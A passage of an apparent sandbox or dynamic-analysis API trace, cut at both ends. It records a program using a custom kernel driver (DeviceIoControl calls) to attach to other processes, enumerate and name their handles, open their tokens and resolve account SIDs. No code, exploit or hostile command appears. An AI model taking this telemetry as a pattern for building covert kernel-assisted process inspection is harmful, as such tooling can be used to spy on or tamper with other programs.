AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002048d00, HandleInformation=0x0) returned 0x0 [0072.738] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.738] PsReleaseProcessExitSynchronization () returned 0x2 [0072.738] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0072.738] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a18044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a18044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.738] ObfDereferenceObject (Object=0xfffffa8002048d00) returned 0x1 [0072.738] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.738] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.738] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.738] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0072.738] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.738] PsAcquireProcessExitSynchronization () returned 0x0 [0072.738] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880054f85d0) [0072.738] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800204eca0, HandleInformation=0x0) returned 0x0 [0072.738] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.738] PsReleaseProcessExitSynchronization () returned 0x2 [0072.738] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0072.738] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a0b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a0b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.738] ObfDereferenceObject (Object=0xfffffa800204eca0) returned 0x1 [0072.738] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.738] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.738] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.738] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.739] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.739] PsAcquireProcessExitSynchronization () returned 0x0 [0072.739] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880054f85d0) [0072.739] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.739] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.739] PsReleaseProcessExitSynchronization () returned 0x2 [0072.739] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0072.739] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a0e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a0e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.739] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.739] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.739] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.739] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x220) returned 0xc0 [0072.739] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.739] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8001fc6060, HandleInformation=0x0) returned 0x0 [0072.739] ObOpenObjectByPointer (in: Object=0xfffffa8001fc6060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.739] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x12 [0072.739] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa80036d4180 | out: TokenHandle=0xfffffa80036d4180*=0xc8) returned 0x0 [0072.739] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.739] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.739] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.739] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.741] CloseHandle (hObject=0xc8) returned 1 [0072.741] CloseHandle (hObject=0xc0) returned 1 [0072.741] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.741] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.741] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.741] PsAcquireProcessExitSynchronization () returned 0x0 [0072.741] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880054f85d0) [0072.741] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800204e730, HandleInformation=0x0) returned 0x0 [0072.741] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.741] PsReleaseProcessExitSynchronization () returned 0x2 [0072.741] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0072.741] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a17044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a17044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.741] ObfDereferenceObject (Object=0xfffffa800204e730) returned 0x1 [0072.741] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.741] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.741] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.741] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0072.741] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.741] PsAcquireProcessExitSynchronization () returned 0x0 [0072.741] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880054f85d0) [0072.741] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800205dbb0, HandleInformation=0x0) returned 0x0 [0072.741] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.741] PsReleaseProcessExitSynchronization () returned 0x2 [0072.741] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0072.741] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a16044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a16044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.742] ObfDereferenceObject (Object=0xfffffa800205dbb0) returned 0x1 [0072.742] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.742] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.742] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.742] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.742] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.742] PsAcquireProcessExitSynchronization () returned 0x0 [0072.742] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880054f85d0) [0072.742] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.742] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.742] PsReleaseProcessExitSynchronization () returned 0x2 [0072.742] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0072.742] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a15044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a15044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.742] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.742] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.742] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.742] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x248) returned 0xc0 [0072.742] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.742] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002065b30, HandleInformation=0x0) returned 0x0 [0072.742] ObOpenObjectByPointer (in: Object=0xfffffa8002065b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.742] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x12 [0072.742] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa80036d4180 | out: TokenHandle=0xfffffa80036d4180*=0xc8) returned 0x0 [0072.742] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.742] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.742] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.742] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.744] CloseHandle (hObject=0xc8) returned 1 [0072.744] CloseHandle (hObject=0xc0) returned 1 [0072.744] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.744] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.744] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.744] PsAcquireProcessExitSynchronization () returned 0x0 [0072.744] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880054f85d0) [0072.744] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800206eea0, HandleInformation=0x0) returned 0x0 [0072.744] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.744] PsReleaseProcessExitSynchronization () returned 0x2 [0072.744] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0072.744] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a14044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a14044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.744] ObfDereferenceObject (Object=0xfffffa800206eea0) returned 0x1 [0072.745] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.745] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.745] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.745] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0072.745] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.745] PsAcquireProcessExitSynchronization () returned 0x0 [0072.745] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880054f85d0) [0072.745] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800206e2b0, HandleInformation=0x0) returned 0x0 [0072.745] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.745] PsReleaseProcessExitSynchronization () returned 0x2 [0072.745] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0072.745] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a13044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a13044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.745] ObfDereferenceObject (Object=0xfffffa800206e2b0) returned 0x1 [0072.745] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.745] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.745] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.745] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.745] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.745] PsAcquireProcessExitSynchronization () returned 0x0 [0072.745] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880054f85d0) [0072.745] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.745] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.745] PsReleaseProcessExitSynchronization () returned 0x2 [0072.745] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0072.745] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a12044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a12044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.745] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.745] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.745] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.745] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x80c) returned 0xc0 [0072.746] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.746] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800208e520, HandleInformation=0x0) returned 0x0 [0072.746] ObOpenObjectByPointer (in: Object=0xfffffa800208e520, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.746] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x12 [0072.746] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa80036d4180 | out: TokenHandle=0xfffffa80036d4180*=0xc8) returned 0x0 [0072.746] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.746] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.746] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.746] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.747] CloseHandle (hObject=0xc8) returned 1 [0072.747] CloseHandle (hObject=0xc0) returned 1 [0072.747] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.748] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.748] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.748] PsAcquireProcessExitSynchronization () returned 0x0 [0072.748] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880054f85d0) [0072.748] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800208edc0, HandleInformation=0x0) returned 0x0 [0072.748] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.748] PsReleaseProcessExitSynchronization () returned 0x2 [0072.748] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0072.748] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a11044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a11044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.748] ObfDereferenceObject (Object=0xfffffa800208edc0) returned 0x1 [0072.748] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.748] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.748] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.748] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0072.748] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.748] PsAcquireProcessExitSynchronization () returned 0x0 [0072.748] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880054f85d0) [0072.748] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020927e0, HandleInformation=0x0) returned 0x0 [0072.748] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.748] PsReleaseProcessExitSynchronization () returned 0x2 [0072.748] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0072.748] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a19044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a19044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.748] ObfDereferenceObject (Object=0xfffffa80020927e0) returned 0x1 [0072.748] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.748] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.748] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.748] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.748] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.748] PsAcquireProcessExitSynchronization () returned 0x0 [0072.748] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880054f85d0) [0072.748] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.749] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.749] PsReleaseProcessExitSynchronization () returned 0x2 [0072.749] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0072.749] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a1a044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a1a044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.749] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.749] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.749] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.749] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x81c) returned 0xc0 [0072.749] DeviceIoControl (in: 